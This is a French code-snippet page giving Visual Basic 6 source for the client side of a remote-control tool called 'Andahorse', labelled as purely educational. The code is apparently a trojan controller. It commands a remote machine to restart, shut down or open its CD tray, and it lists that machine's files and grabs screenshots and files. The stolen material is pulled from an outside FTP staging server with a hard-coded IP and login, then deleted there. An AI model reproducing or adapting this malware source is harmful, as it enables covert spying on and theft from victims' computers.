La partie Client

Contenu du snippet

Dim rh As String
Dim dwn As String
Private Sub Command1_Click()
tcpclient.Close
tcpclient.LocalPort = 0
tcpclient.Connect rh, 1200
Tcpclient2.Close
Tcpclient2.LocalPort = 0
Tcpclient2.Connect rh, 1007
tcpclient3.Close
tcpclient3.LocalPort = 0
tcpclient3.Connect rh, 5000
Winsock1.Close
Winsock1.LocalPort = 0
Winsock1.Connect rh, 6290
Winsock2.Close
Winsock2.LocalPort = 0
Winsock2.Connect rh, 6300
Winsock3.Close
Winsock3.LocalPort = 0
Winsock3.Connect rh, 6390
Winsock4.Close
Winsock4.LocalPort = 0
Winsock4.Connect rh, 7000
Form1.Caption = "Remote control (Connected)"
End Sub
Private Sub Command10_Click()
Dim klp As String
klp = Text1.Text
Winsock1.SendData klp
End Sub
Private Sub Command11_Click()
Dim zay As String
If Dir("c:capturespict.bmp") <> "" Then
Kill ("c:capturespict.bmp")
End If
zay = "putcapture"
tcpclient3.SendData zay
End Sub
Private Sub Command14_Click()
Dim dirf As String
dirf = Text2.Text
Winsock2.SendData dirf
End Sub
Private Sub Command15_Click()
Dim dwn As String
dwn = Text6.Text
Winsock4.SendData dwn
End Sub
Private Sub Command16_Click()
Dim dirf As String
dirf = Text2.Text
Winsock3.SendData dirf
End Sub
Private Sub Command2_Click()
Dim msg3 As String
msg3 = Text4.Text
tcpclient.SendData msg3
End Sub
Private Sub Command3_Click()
Dim msg3 As String
msg3 = Text5.Text
Tcpclient2.SendData msg3
End Sub
Private Sub Command4_Click()
Dim msg3 As String
msg3 = "showform2"
tcpclient.SendData msg3
End Sub
Private Sub Command5_Click()
Dim msg3 As String
msg3 = "restart"
tcpclient.SendData msg3
End Sub
Private Sub Command6_Click()
Dim msg3 As String
msg3 = "turnoff"
tcpclient.SendData msg3
End Sub
Private Sub Command7_Click()
Dim msg3 As String
msg3 = "showform3"
tcpclient.SendData msg3
End Sub
Private Sub Command8_Click()
Dim msg3 As String
msg3 = "opencdrom"
tcpclient.SendData msg3
End Sub
Private Sub Command9_Click()
tcpclient.Close
Tcpclient2.Close
tcpclient3.Close
Winsock1.Close
Winsock2.Close
Winsock3.Close
Winsock4.Close
Form1.Caption = "Remote control (Disconnected)"
End Sub
Private Sub Form_Load()
Form1.Caption = "Andahorse"
tcpclient.RemoteHost = rh
tcpclient.RemotePort = 1200
Tcpclient2.RemoteHost = rh
Tcpclient2.RemotePort = 1007
tcpclient3.RemoteHost = rh
tcpclient3.RemotePort = 5000
Winsock1.RemoteHost = rh
Winsock1.RemotePort = 6290
Winsock2.RemoteHost = rh
Winsock2.RemotePort = 6300
Winsock3.RemoteHost = rh
Winsock3.RemotePort = 6390
Winsock4.RemoteHost = rh
Winsock4.RemotePort = 7000
Label4.Caption = Format(Time, "h:mm:ss")
End Sub
Private Sub Form_Terminate()
tcpclient.Close
Tcpclient2.Close
tcpclient3.Close
Winsock1.Close
Winsock2.Close
Winsock3.Close
Winsock4.Close
End Sub

Private Sub tcpclient_DataArrival(ByVal bytesTotal As Long)
Dim msg As String
tcpclient.GetData msg
If msg = "connexion etablie" Then
Form1.Caption = "Remote control connected"
Else
Form1.Caption = "Remote control (Disconnected)"
End If
End Sub
Private Sub Tcpclient2_DataArrival(ByVal bytesTotal As Long)
Dim fichiers As String
Tcpclient2.GetData fichiers
If fichiers <> "" Then
RichTextBox1 = fichiers
End If
End Sub
Private Sub tcpclient3_DataArrival(ByVal bytesTotal As Long)
Dim yaz As String
Dim x As Integer
tcpclient3.GetData yaz
If yaz = "putterminated" Then
Label2.Caption = "capture d'écran effectué"
Label2.BackColor = &HFF&
Timer1.Enabled = True
End If
End Sub
Private Sub Text3_Change()
rh = Text3.Text
End Sub
Private Sub Timer1_Timer()
Dim x As Integer
Dim y As Integer
Inet4.AccessType = icUseDefault
Inet4.Protocol = icFTP
Inet4.RemoteHost = "185.98.131.135"
Inet4.UserName = "hben12147205"
Inet4.Password = "$$$$$$$$$$$$"
Inet4.Execute , "get pict.bmp c:capturespict.bmp"
x = Inet4.StillExecuting
While x <> 0
x = Inet4.StillExecuting
DoEvents
Wend

Inet4.Execute , "delete pict.bmp"
y = Inet4.StillExecuting
While y <> 0
y = Inet4.StillExecuting
DoEvents
Wend
MsgBox ("en cours de téléchargement")
Inet4.Execute , "quit"
Label2.Caption = ""
Label2.BackColor = &H8000000F
Timer1.Enabled = False
tcpclient.Close
Tcpclient2.Close
tcpclient3.Close
Winsock1.Close
Winsock2.Close
Winsock3.Close
Winsock4.Close
Form1.Caption = "Remote control (Disconnected)"
tcpclient.Close
tcpclient.LocalPort = 0
tcpclient.Connect rh, 1200
Tcpclient2.Close
Tcpclient2.LocalPort = 0
Tcpclient2.Connect rh, 1007
tcpclient3.Close
tcpclient3.LocalPort = 0
tcpclient3.Connect rh, 5000
Winsock1.Close
Winsock1.LocalPort = 0
Winsock1.Connect rh, 6290
Winsock2.Close
Winsock2.LocalPort = 0
Winsock2.Connect rh, 6300
Winsock3.Close
Winsock3.LocalPort = 0
Winsock3.Connect rh, 6390
Winsock4.Close
Winsock4.LocalPort = 0
Winsock4.Connect rh, 7000
Form1.Caption = "Remote control (Connected)"
End Sub
Private Sub Timer2_Timer()
Label4.Caption = Format(Time, "h:mm:ss")
End Sub
Private Sub Timer3_Timer()
Dim x As Integer
Dim y As Integer
Dim mnb As String
Inet4.AccessType = icUseDefault
Inet4.Protocol = icFTP
Inet4.RemoteHost = "185.98.131.135"
Inet4.UserName = "hben12147205"
Inet4.Password = "$$$$$$$$$$$$"
sdf = Mid$(dwn, InStrRev(dwn, "") + 1)
mnb = "get " & sdf & " c:downloads" & "" & sdf
Inet4.Execute , mnb
x = Inet4.StillExecuting
While x <> 0
x = Inet4.StillExecuting
DoEvents
Wend
Inet4.Execute , "delete " & Mid$(dwn, InStrRev(dwn, "") + 1)
y = Inet4.StillExecuting
While y <> 0
y = Inet4.StillExecuting
DoEvents
Wend
Inet4.Execute , "quit"
Label2.Caption = ""
Label2.BackColor = &H8000000F
Timer3.Enabled = False
End Sub
Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
Dim dossiers As String
Winsock2.GetData dossiers
If dossiers <> "" Then
RichTextBox2 = dossiers
End If
End Sub
Private Sub Winsock4_DataArrival(ByVal bytesTotal As Long)
Winsock4.GetData dwn
If dwn <> "" Then
Timer3.Enabled = True
End If
End Sub

Compatibilité : Pour des besoins purement éducatifs

A voir également